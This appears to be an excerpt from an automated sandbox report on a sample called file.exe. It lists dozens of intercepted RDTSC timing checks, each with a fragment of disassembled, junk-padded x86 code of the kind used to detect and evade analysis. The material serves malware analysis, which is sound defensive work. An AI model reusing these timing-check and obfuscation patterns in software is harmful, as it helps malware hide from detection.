Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17D8B second address: D17DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D34B70901h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17DA0 second address: D17E5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0D344F4AC8h 0x0000000e nop 0x0000000f jmp 00007F0D344F4ABCh 0x00000014 mov ecx, dword ptr [ebp+122D286Eh] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F0D344F4AB8h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 mov edi, 29F5356Bh 0x0000003b push E3F758FAh 0x00000040 jmp 00007F0D344F4AC5h 0x00000045 add dword ptr [esp], 1C08A786h 0x0000004c push ecx 0x0000004d mov dword ptr [ebp+122D1CE6h], ecx 0x00000053 pop edi 0x00000054 push 00000003h 0x00000056 push edx 0x00000057 pushad 0x00000058 sub dword ptr [ebp+122D2178h], edi 0x0000005e sub dword ptr [ebp+122D17F6h], esi 0x00000064 popad 0x00000065 pop edi 0x00000066 push 00000000h 0x00000068 jmp 00007F0D344F4AC4h 0x0000006d push 00000003h 0x0000006f push 94DDD486h 0x00000074 push esi 0x00000075 push eax 0x00000076 push edx 0x00000077 js 00007F0D344F4AB6h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17E5F second address: D17E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17E63 second address: D17ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 add dword ptr [esp], 2B222B7Ah 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F0D344F4AB8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 jbe 00007F0D344F4AB7h 0x0000002e cld 0x0000002f lea ebx, dword ptr [ebp+12449CACh] 0x00000035 push esi 0x00000036 sub dword ptr [ebp+124454D6h], esi 0x0000003c pop esi 0x0000003d xchg eax, ebx 0x0000003e jmp 00007F0D344F4AC7h 0x00000043 push eax 0x00000044 pushad 0x00000045 push ebx 0x00000046 jmp 00007F0D344F4AC2h 0x0000004b pop ebx 0x0000004c push esi 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F37 second address: D17F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F3D second address: D17F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F0D344F4AB8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F51 second address: D17F6A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f ja 00007F0D34B70908h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F6A second address: D17F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F6E second address: D17F97 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F0D34B70904h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F97 second address: D17F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F9B second address: D17F9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17F9F second address: D18027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 mov dword ptr [ebp+122D3672h], ebx 0x0000000e or dword ptr [ebp+122D181Eh], ebx 0x00000014 push 00000003h 0x00000016 or edi, 58CB06EAh 0x0000001c push 00000000h 0x0000001e mov edx, dword ptr [ebp+122D3815h] 0x00000024 push 00000003h 0x00000026 mov di, dx 0x00000029 push C8BB27B5h 0x0000002e push eax 0x0000002f jl 00007F0D344F4ABCh 0x00000035 pop eax 0x00000036 xor dword ptr [esp], 08BB27B5h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F0D344F4AB8h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 mov dword ptr [ebp+12447C8Fh], esi 0x0000005d lea ebx, dword ptr [ebp+12449CB5h] 0x00000063 or dword ptr [ebp+122D1969h], ebx 0x00000069 push eax 0x0000006a pushad 0x0000006b push eax 0x0000006c jmp 00007F0D344F4ABFh 0x00000071 pop eax 0x00000072 push eax 0x00000073 push edx 0x00000074 push edx 0x00000075 pop edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18074 second address: D1809B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0D34B708F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, dword ptr [ebp+122D38C5h] 0x00000013 push 00000000h 0x00000015 sub dx, 66E7h 0x0000001a push CEBD4130h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1809B second address: D1809F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1809F second address: D180A9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D180A9 second address: D180DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4ABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3142BF50h 0x00000010 mov di, 1AB7h 0x00000014 push 00000003h 0x00000016 sbb dx, 8165h 0x0000001b push 00000000h 0x0000001d push 00000003h 0x0000001f mov cl, bl 0x00000021 push 8ED3D7DFh 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D180DE second address: D180E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D180E3 second address: D1813E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 312C2821h 0x0000000f mov si, ax 0x00000012 lea ebx, dword ptr [ebp+12449CC0h] 0x00000018 xchg eax, ebx 0x00000019 jnp 00007F0D344F4ACAh 0x0000001f jmp 00007F0D344F4AC4h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007F0D344F4AC2h 0x0000002d jmp 00007F0D344F4AC1h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1813E second address: D18144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37978 second address: D3797C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3797C second address: D37999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B708FFh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F0D34B708F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37999 second address: D379B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC0h 0x00000007 je 00007F0D344F4AB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37CD5 second address: D37CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37E44 second address: D37E50 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0D344F4AB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37E50 second address: D37E55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37FBC second address: D37FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37FC2 second address: D37FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a jnl 00007F0D34B708F8h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37FD7 second address: D37FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0D344F4AB6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38121 second address: D3812A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D384F8 second address: D38502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0D344F4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38502 second address: D38538 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0D34B708FCh 0x0000000c jng 00007F0D34B708F8h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d pop eax 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 pushad 0x00000022 jmp 00007F0D34B708FBh 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38538 second address: D38541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38693 second address: D38699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E36C second address: D2E374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E374 second address: D2E380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0D34B708F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E380 second address: D2E394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F0D344F4AB8h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E394 second address: D2E398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E398 second address: D2E3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E3A4 second address: D2E3AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E3AA second address: D2E3B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E3B0 second address: D2E3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D34B708FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B4D8 second address: D0B4E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0D344F4AB6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B4E7 second address: D0B4F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38819 second address: D3882F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC1h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38E05 second address: D38E09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38E09 second address: D38E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D390B0 second address: D390B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D390B6 second address: D390BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D390BA second address: D390D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D34B708FFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D390D3 second address: D390F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F0D344F4ABCh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jmp 00007F0D344F4ABAh 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D390F7 second address: D39103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0D34B708F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39103 second address: D39108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D40FE3 second address: D40FF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F0D34B708F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F850 second address: D3F85E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41151 second address: D41156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41303 second address: D41307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41307 second address: D4130D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44F52 second address: D44F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F0D344F4AC0h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4449F second address: D444AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D444AA second address: D444B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44784 second address: D44788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44DD1 second address: D44DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44DD5 second address: D44DF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70903h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F0D34B708FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47AFF second address: D47B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 jns 00007F0D344F4AC2h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B1C second address: D47B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47DAF second address: D47DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47DB4 second address: D47DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0D34B708F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F0D34B708FCh 0x00000016 jns 00007F0D34B708F6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47FD6 second address: D47FF9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0D344F4AC3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47FF9 second address: D47FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47FFD second address: D48003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D487CF second address: D487F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D487F2 second address: D487F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D487F6 second address: D487FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48A6A second address: D48A74 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48C03 second address: D48C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0D34B708FCh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F0D34B708FAh 0x00000015 ja 00007F0D34B708F6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48C2B second address: D48C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48C31 second address: D48C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48C35 second address: D48C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F0D344F4AB8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jg 00007F0D344F4ABCh 0x00000029 sub esi, dword ptr [ebp+122D36CDh] 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F0D344F4AC1h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48C86 second address: D48CBD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0D34B7090Eh 0x00000008 jmp 00007F0D34B70908h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007F0D34B708FBh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48CBD second address: D48CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49229 second address: D4922D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4922D second address: D49231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49231 second address: D49289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 call 00007F0D34B708FCh 0x0000000e call 00007F0D34B708FBh 0x00000013 jmp 00007F0D34B708FCh 0x00000018 pop edi 0x00000019 pop esi 0x0000001a push ebx 0x0000001b push ebx 0x0000001c mov di, ax 0x0000001f pop edi 0x00000020 pop esi 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 pop esi 0x00000025 push 00000000h 0x00000027 jmp 00007F0D34B70908h 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e push ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49289 second address: D49292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
